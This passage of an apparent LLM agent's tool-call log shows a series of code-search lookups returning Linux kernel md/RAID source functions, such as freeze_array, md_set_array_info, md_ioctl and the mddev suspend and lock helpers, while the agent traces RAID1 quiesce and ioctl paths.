6856:
6857: if (IS_ENABLED(CONFIG_MD_BITMAP) && !mddev->bitmap_info.file &&
6858: !mddev->bitmap_info.offset)
6859: md_bitmap_set_none(mddev);
6860:
6861: md_new_event();
6862: return 0;
6863:
6864: bitmap_abort:
6865: mddev_detach(mddev);
6866: if (mddev->private)
6867: pers->free(mddev, mddev->private);
6868: mddev->private = NULL;
6869: put_pers(pers);
6870: md_bitmap_destroy(mddev);
6871: return err;
6872: }
SourceFile:drivers/md/md.c]
|
| 262/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 126291
output: 22
thoughts: 0
|
| 263/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 264/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 126594
output: 24
thoughts: 0
|
| 265/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3411: static void raid1_quiesce(struct mddev *mddev, int quiesce)
3412: {
3413: struct r1conf *conf = mddev->private;
3414:
3415: if (quiesce)
3416: freeze_array(conf, 0);
3417: else
3418: unfreeze_array(conf);
3419: }
SourceFile:drivers/md/raid1.c]
|
| 266/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 126769
output: 35
thoughts: 0
|
| 267/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:freeze_array]
Results: map[SourceCode:1183: static void freeze_array(struct r1conf *conf, int extra)
1184: {
1185: /* Stop sync I/O and normal I/O and wait for everything to
1186: * go quiet.
1187: * This is called in two situations:
1188: * 1) management command handlers (reshape, remove disk, quiesce).
1189: * 2) one normal I/O request failed.
1190:
1191: * After array_frozen is set to 1, new sync IO will be blocked at
1192: * raise_barrier(), and new normal I/O will blocked at _wait_barrier()
1193: * or wait_read_barrier(). The flying I/Os will either complete or be
1194: * queued. When everything goes quite, there are only queued I/Os left.
1195:
1196: * Every flying I/O contributes to a conf->nr_pending[idx], idx is the
1197: * barrier bucket index which this I/O request hits. When all sync and
1198: * normal I/O are queued, sum of all conf->nr_pending[] will match sum
1199: * of all conf->nr_queued[]. But normal I/O failure is an exception,
1200: * in handle_read_error(), we may call freeze_array() before trying to
1201: * fix the read error. In this case, the error read I/O is not queued,
1202: * so get_unqueued_pending() == 1.
1203: *
1204: * Therefore before this function returns, we need to wait until
1205: * get_unqueued_pendings(conf) gets equal to extra. For
1206: * normal I/O context, extra is 1, in rested situations extra is 0.
1207: */
1208: spin_lock_irq(&conf->resync_lock);
1209: conf->array_frozen = 1;
1210: mddev_add_trace_msg(conf->mddev, "raid1 wait freeze");
1211: wait_event_lock_irq_cmd(
1212: conf->wait_barrier,
1213: get_unqueued_pending(conf) == extra,
1214: conf->resync_lock,
1215: flush_pending_writes(conf));
1216: spin_unlock_irq(&conf->resync_lock);
1217: }
SourceFile:drivers/md/raid1.c]
|
| 268/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 127505
output: 24
thoughts: 0
|
| 269/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[Name:get_unqueued_pending]
Results: map[SourceCode:1170: /* conf->resync_lock should be held */
1171: static int get_unqueued_pending(struct r1conf *conf)
1172: {
1173: int idx, ret;
1174:
1175: ret = atomic_read(&conf->nr_sync_pending);
1176: for (idx = 0; idx < BARRIER_BUCKETS_NR; idx++)
1177: ret += atomic_read(&conf->nr_pending[idx]) -
1178: atomic_read(&conf->nr_queued[idx]);
1179:
1180: return ret;
1181: }
SourceFile:drivers/md/raid1.c]
|
| 270/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 127741
output: 23
thoughts: 0
|
| 271/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[Name:flush_pending_writes]
Results: map[SourceCode: 875: static void flush_pending_writes(struct r10conf *conf)
876: {
877: /* Any writes that have been queued but are awaiting
878: * bitmap updates get flushed here.
879: */
880: spin_lock_irq(&conf->device_lock);
881:
882: if (conf->pending_bio_list.head) {
883: struct blk_plug plug;
884: struct bio *bio;
885:
886: bio = bio_list_get(&conf->pending_bio_list);
887: spin_unlock_irq(&conf->device_lock);
888:
889: /*
890: * As this is called in a wait_event() loop (see freeze_array),
891: * current->state might be TASK_UNINTERRUPTIBLE which will
892: * cause a warning when we prepare to wait again. As it is
893: * rare that this path is taken, it is perfectly safe to force
894: * us to go around the wait_event() loop again, so the warning
895: * is a false-positive. Silence the warning by resetting
896: * thread state
897: */
898: __set_current_state(TASK_RUNNING);
899:
900: blk_start_plug(&plug);
901: raid1_prepare_flush_writes(conf->mddev);
902: wake_up(&conf->wait_barrier);
903:
904: while (bio) { /* submit pending writes */
905: struct bio *next = bio->bi_next;
906:
907: raid1_submit_write(bio);
908: bio = next;
909: cond_resched();
910: }
911: blk_finish_plug(&plug);
912: } else
913: spin_unlock_irq(&conf->device_lock);
914: }
SourceFile:drivers/md/raid10.c]
|
| 272/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 128381
output: 37
thoughts: 0
|
| 273/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:flush_pending_writes]
Results: map[SourceCode: 940: static void flush_pending_writes(struct r1conf *conf)
941: {
942: /* Any writes that have been queued but are awaiting
943: * bitmap updates get flushed here.
944: */
945: spin_lock_irq(&conf->device_lock);
946:
947: if (conf->pending_bio_list.head) {
948: struct blk_plug plug;
949: struct bio *bio;
950:
951: bio = bio_list_get(&conf->pending_bio_list);
952: spin_unlock_irq(&conf->device_lock);
953:
954: /*
955: * As this is called in a wait_event() loop (see freeze_array),
956: * current->state might be TASK_UNINTERRUPTIBLE which will
957: * cause a warning when we prepare to wait again. As it is
958: * rare that this path is taken, it is perfectly safe to force
959: * us to go around the wait_event() loop again, so the warning
960: * is a false-positive. Silence the warning by resetting
961: * thread state
962: */
963: __set_current_state(TASK_RUNNING);
964: blk_start_plug(&plug);
965: flush_bio_list(conf, bio);
966: blk_finish_plug(&plug);
967: } else
968: spin_unlock_irq(&conf->device_lock);
969: }
SourceFile:drivers/md/raid1.c]
|
| 274/2 |
2026/08/26 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 128910
output: 23
thoughts: 0
|
| 275/2 |
2026/08/26 10:45 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 925: static void flush_bio_list(struct r1conf *conf, struct bio *bio)
926: {
927: /* flush any pending bitmap writes to disk before proceeding w/ I/O */
928: raid1_prepare_flush_writes(conf->mddev);
929: wake_up_barrier(conf);
930:
931: while (bio) { /* submit pending writes */
932: struct bio *next = bio->bi_next;
933:
934: raid1_submit_write(bio);
935: bio = next;
936: cond_resched();
937: }
938: }
SourceFile:drivers/md/raid1.c]
|
| 276/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 129162
output: 26
thoughts: 0
|
| 277/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_prepare_flush_writes]
Results: map[SourceCode: 158: /*
159: * current->bio_list will be set under submit_bio() context, in this case bitmap
160: * io will be added to the list and wait for current io submission to finish,
161: * while current io submission must wait for bitmap io to be done. In order to
162: * avoid such deadlock, submit bitmap io asynchronously.
163: */
164: static inline void raid1_prepare_flush_writes(struct mddev *mddev)
165: {
166: mddev->bitmap_ops->unplug(mddev, current->bio_list == NULL);
167: }
SourceFile:drivers/md/raid1-10.c]
|
| 278/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 129400
output: 23
thoughts: 0
|
| 279/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:wake_up_barrier]
Results: map[SourceCode: 302: static void wake_up_barrier(struct r10conf *conf)
303: {
304: if (wq_has_sleeper(&conf->wait_barrier))
305: wake_up(&conf->wait_barrier);
306: }
SourceFile:drivers/md/raid10.c]
|
| 280/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 129533
output: 37
thoughts: 0
|
| 281/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wake_up_barrier]
Results: map[SourceCode: 919: static void wake_up_barrier(struct r1conf *conf)
920: {
921: if (wq_has_sleeper(&conf->wait_barrier))
922: wake_up(&conf->wait_barrier);
923: }
SourceFile:drivers/md/raid1.c]
|
| 282/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 129678
output: 24
thoughts: 0
|
| 283/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_submit_write]
Results: map[SourceCode: 112: static inline void raid1_submit_write(struct bio *bio)
113: {
114: struct md_rdev *rdev = (void *)bio->bi_bdev;
115:
116: bio->bi_next = NULL;
117: bio_set_dev(bio, rdev->bdev);
118: if (test_bit(Faulty, &rdev->flags))
119: bio_io_error(bio);
120: else if (unlikely(bio_op(bio) == REQ_OP_DISCARD &&
121: !bdev_max_discard_sectors(bio->bi_bdev)))
122: /* Just ignore it */
123: bio_endio(bio);
124: else
125: submit_bio_noacct(bio);
126: }
SourceFile:drivers/md/raid1-10.c]
|
| 284/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 129983
output: 25
thoughts: 0
|
| 285/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_set_array_info]
Results: map[SourceCode:7894: /*
7895: * md_set_array_info is used two different ways
7896: * The original usage is when creating a new array.
7897: * In this usage, raid_disks is > 0 and it together with
7898: * level, size, not_persistent,layout,chunksize determine the
7899: * shape of the array.
7900: * This will always create an array with a type-0.90.0 superblock.
7901: * The newer usage is when assembling an array.
7902: * In this case raid_disks will be 0, and the major_version field is
7903: * use to determine which style super-blocks are to be found on the devices.
7904: * The minor and patch _version numbers are also kept incase the
7905: * super_block handler wishes to interpret them.
7906: */
7907: int md_set_array_info(struct mddev *mddev, struct mdu_array_info_s *info)
7908: {
7909: if (info->raid_disks == 0) {
7910: /* just setting version number for superblock loading */
7911: if (info->major_version < 0 ||
7912: info->major_version >= ARRAY_SIZE(super_types) ||
7913: super_types[info->major_version].name == NULL) {
7914: /* maybe try to auto-load a module? */
7915: pr_warn("md: superblock version %d not known\n",
7916: info->major_version);
7917: return -EINVAL;
7918: }
7919: mddev->major_version = info->major_version;
7920: mddev->minor_version = info->minor_version;
7921: mddev->patch_version = info->patch_version;
7922: mddev->persistent = !info->not_persistent;
7923: /* ensure mddev_put doesn't delete this now that there
7924: * is some minimal configuration.
7925: */
7926: mddev->ctime = ktime_get_real_seconds();
7927: return 0;
7928: }
7929: mddev->major_version = MD_MAJOR_VERSION;
7930: mddev->minor_version = MD_MINOR_VERSION;
7931: mddev->patch_version = MD_PATCHLEVEL_VERSION;
7932: mddev->ctime = ktime_get_real_seconds();
7933:
7934: mddev->level = info->level;
7935: mddev->clevel[0] = 0;
7936: mddev->dev_sectors = 2 * (sector_t)info->size;
7937: mddev->raid_disks = info->raid_disks;
7938: /* don't set md_minor, it is determined by which /dev/md* was
7939: * openned
7940: */
7941: if (info->state & (1<<MD_SB_CLEAN))
7942: mddev->resync_offset = MaxSector;
7943: else
7944: mddev->resync_offset = 0;
7945: mddev->persistent = ! info->not_persistent;
7946: mddev->external = 0;
7947:
7948: mddev->layout = info->layout;
7949: if (mddev->level == 0)
7950: /* Cannot trust RAID0 layout info here */
7951: mddev->layout = -1;
7952: mddev->chunk_sectors = info->chunk_size >> 9;
7953:
7954: if (mddev->persistent) {
7955: mddev->max_disks = MD_SB_DISKS;
7956: mddev->flags = 0;
7957: mddev->sb_flags = 0;
7958: }
7959: set_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags);
7960:
7961: mddev->bitmap_info.default_offset = MD_SB_BYTES >> 9;
7962: mddev->bitmap_info.default_space = 64*2 - (MD_SB_BYTES >> 9);
7963: mddev->bitmap_info.offset = 0;
7964:
7965: mddev->reshape_position = MaxSector;
7966:
7967: /*
7968: * Generate a 128 bit UUID
7969: */
7970: get_random_bytes(mddev->uuid, 16);
7971:
7972: mddev->new_level = mddev->level;
7973: mddev->new_chunk_sectors = mddev->chunk_sectors;
7974: mddev->new_layout = mddev->layout;
7975: mddev->delta_disks = 0;
7976: mddev->reshape_backwards = 0;
7977:
7978: return 0;
7979: }
SourceFile:drivers/md/md.c]
|
| 286/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 131503
output: 26
thoughts: 0
|
| 287/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_set_array_info]
Results: map[SourceCode:8308: static int __md_set_array_info(struct mddev *mddev, void __user *argp)
8309: {
8310: mdu_array_info_t info;
8311: int err;
8312:
8313: if (!argp)
8314: memset(&info, 0, sizeof(info));
8315: else if (copy_from_user(&info, argp, sizeof(info)))
8316: return -EFAULT;
8317:
8318: if (mddev->pers) {
8319: err = update_array_info(mddev, &info);
8320: if (err)
8321: pr_warn("md: couldn't update array info. %d\n", err);
8322: return err;
8323: }
8324:
8325: if (!list_empty(&mddev->disks)) {
8326: pr_warn("md: array %s already has disks!\n", mdname(mddev));
8327: return -EBUSY;
8328: }
8329:
8330: if (mddev->raid_disks) {
8331: pr_warn("md: array %s already initialised!\n", mdname(mddev));
8332: return -EBUSY;
8333: }
8334:
8335: err = md_set_array_info(mddev, &info);
8336: if (err)
8337: pr_warn("md: couldn't set array info. %d\n", err);
8338:
8339: return err;
8340: }
SourceFile:drivers/md/md.c]
|
| 288/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 132042
output: 23
thoughts: 0
|
| 289/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 290/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 132434
output: 21
thoughts: 0
|
| 291/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 292/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 135355
output: 27
thoughts: 0
|
| 293/2 |
2026/08/26 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_suspend_and_lock]
Results: map[SourceCode:1011: static inline int mddev_suspend_and_lock(struct mddev *mddev)
1012: {
1013: int ret;
1014:
1015: ret = mddev_suspend(mddev, true);
1016: if (ret)
1017: return ret;
1018:
1019: ret = mddev_lock(mddev);
1020: if (ret)
1021: mddev_resume(mddev);
1022:
1023: return ret;
1024: }
SourceFile:drivers/md/md.h]
|
| 294/2 |
2026/08/26 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 135580
output: 23
thoughts: 0
|
| 295/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 461: /*
462: * Make sure no new requests are submitted to the device, and any requests that
463: * have been submitted are completely handled.
464: */
465: int mddev_suspend(struct mddev *mddev, bool interruptible)
466: {
467: int err = 0;
468:
469: /*
470: * hold reconfig_mutex to wait for normal io will deadlock, because
471: * other context can't update super_block, and normal io can rely on
472: * updating super_block.
473: */
474: lockdep_assert_not_held(&mddev->reconfig_mutex);
475:
476: if (interruptible)
477: err = mutex_lock_interruptible(&mddev->suspend_mutex);
478: else
479: mutex_lock(&mddev->suspend_mutex);
480: if (err)
481: return err;
482:
483: if (mddev->suspended) {
484: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
485: mutex_unlock(&mddev->suspend_mutex);
486: return 0;
487: }
488:
489: percpu_ref_kill(&mddev->active_io);
490:
491: /*
492: * RAID456 IO can sleep in wait_for_reshape while still holding an
493: * active_io reference. If reshape is already interrupted or frozen,
494: * wake those waiters so they can abort and drop the reference instead
495: * of deadlocking suspend.
496: */
497: if (mddev->pers && mddev->pers->prepare_suspend &&
498: reshape_interrupted(mddev))
499: mddev->pers->prepare_suspend(mddev);
500:
501: if (interruptible)
502: err = wait_event_interruptible(mddev->sb_wait,
503: percpu_ref_is_zero(&mddev->active_io));
504: else
505: wait_event(mddev->sb_wait,
506: percpu_ref_is_zero(&mddev->active_io));
507: if (err) {
508: percpu_ref_resurrect(&mddev->active_io);
509: mutex_unlock(&mddev->suspend_mutex);
510: return err;
511: }
512:
513: /*
514: * For raid456, io might be waiting for reshape to make progress,
515: * allow new reshape to start while waiting for io to be done to
516: * prevent deadlock.
517: */
518: WRITE_ONCE(mddev->suspended, mddev->suspended + 1);
519:
520: mutex_unlock(&mddev->suspend_mutex);
521: return 0;
522: }
SourceFile:drivers/md/md.c]
|
| 296/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 136540
output: 22
thoughts: 0
|
| 297/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 709: static inline int __must_check mddev_lock(struct mddev *mddev)
710: {
711: int ret;
712:
713: ret = mutex_lock_interruptible(&mddev->reconfig_mutex);
714:
715: /* MD_DELETED is set in do_md_stop with reconfig_mutex.
716: * So check it here.
717: */
718: if (!ret && test_bit(MD_DELETED, &mddev->flags)) {
719: ret = -ENODEV;
720: mutex_unlock(&mddev->reconfig_mutex);
721: }
722:
723: return ret;
724: }
SourceFile:drivers/md/md.h]
|
| 298/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 136814
output: 22
thoughts: 0
|
| 299/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 915: void mddev_unlock(struct mddev *mddev)
916: {
917: struct md_rdev *rdev;
918: struct md_rdev *tmp;
919: LIST_HEAD(delete);
920:
921: if (!list_empty(&mddev->deleting))
922: list_splice_init(&mddev->deleting, &delete);
923:
924: if (mddev->to_remove) {
925: /* These cannot be removed under reconfig_mutex as
926: * an access to the files will try to take reconfig_mutex
927: * while holding the file unremovable, which leads to
928: * a deadlock.
929: * So hold set sysfs_active while the remove in happeing,
930: * and anything else which might set ->to_remove or my
931: * otherwise change the sysfs namespace will fail with
932: * -EBUSY if sysfs_active is still set.
933: * We set sysfs_active under reconfig_mutex and elsewhere
934: * test it under the same mutex to ensure its correct value
935: * is seen.
936: */
937: const struct attribute_group *to_remove = mddev->to_remove;
938: mddev->to_remove = NULL;
939: mddev->sysfs_active = 1;
940: mutex_unlock(&mddev->reconfig_mutex);
941:
942: if (mddev->kobj.sd) {
943: if (to_remove != &md_redundancy_group)
944: sysfs_remove_group(&mddev->kobj, to_remove);
945: if (mddev->pers == NULL ||
946: mddev->pers->sync_request == NULL) {
947: sysfs_remove_group(&mddev->kobj, &md_redundancy_group);
948: if (mddev->sysfs_action)
949: sysfs_put(mddev->sysfs_action);
950: if (mddev->sysfs_completed)
951: sysfs_put(mddev->sysfs_completed);
952: if (mddev->sysfs_degraded)
953: sysfs_put(mddev->sysfs_degraded);
954: mddev->sysfs_action = NULL;
955: mddev->sysfs_completed = NULL;
956: mddev->sysfs_degraded = NULL;
957: }
958: }
959: mddev->sysfs_active = 0;
960: } else
961: mutex_unlock(&mddev->reconfig_mutex);
962:
963: md_wakeup_thread(mddev->thread);
964: wake_up(&mddev->sb_wait);
965:
966: list_for_each_entry_safe(rdev, tmp, &delete, same_set) {
967: list_del_init(&rdev->same_set);
968: kobject_del(&rdev->kobj);
969: export_rdev(rdev);
970: }
971:
972: if (!legacy_async_del_gendisk) {
973: /*
974: * Call del_gendisk after release reconfig_mutex to avoid
975: * deadlock (e.g. call del_gendisk under the lock and an
976: * access to sysfs files waits the lock)
977: * And MD_DELETED is only used for md raid which is set in
978: * do_md_stop. dm raid only uses md_stop to stop. So dm raid
979: * doesn't need to check MD_DELETED when getting reconfig lock
980: */
981: if (test_bit(MD_DELETED, &mddev->flags) &&
982: !test_and_set_bit(MD_DO_DELETE, &mddev->flags)) {
983: kobject_del(&mddev->kobj);
984: del_gendisk(mddev->gendisk);
985: }
986: }
987: }
SourceFile:drivers/md/md.c]
|
| 300/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 138089
output: 22
thoughts: 0
|
| 301/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 547: void mddev_resume(struct mddev *mddev)
548: {
549: return __mddev_resume(mddev, true);
550: }
SourceFile:drivers/md/md.c]
|
| 302/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 138196
output: 23
thoughts: 0
|
| 303/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 525: static void __mddev_resume(struct mddev *mddev, bool recovery_needed)
526: {
527: lockdep_assert_not_held(&mddev->reconfig_mutex);
528:
529: mutex_lock(&mddev->suspend_mutex);
530: WRITE_ONCE(mddev->suspended, mddev->suspended - 1);
531: if (mddev->suspended) {
532: mutex_unlock(&mddev->suspend_mutex);
533: return;
534: }
535:
536: percpu_ref_resurrect(&mddev->active_io);
537: wake_up(&mddev->sb_wait);
538:
539: if (recovery_needed)
540: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
541: md_wakeup_thread(mddev->thread);
542: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
543:
544: mutex_unlock(&mddev->suspend_mutex);
545: }
SourceFile:drivers/md/md.c]
|
| 304/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 138581
output: 26
thoughts: 0
|
| 305/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_unlock_and_resume]
Results: map[SourceCode:1032: static inline void mddev_unlock_and_resume(struct mddev *mddev)
1033: {
1034: mddev_unlock(mddev);
1035: mddev_resume(mddev);
1036: }
SourceFile:drivers/md/md.h]
|
| 306/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 138709
output: 23
thoughts: 0
|
| 307/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
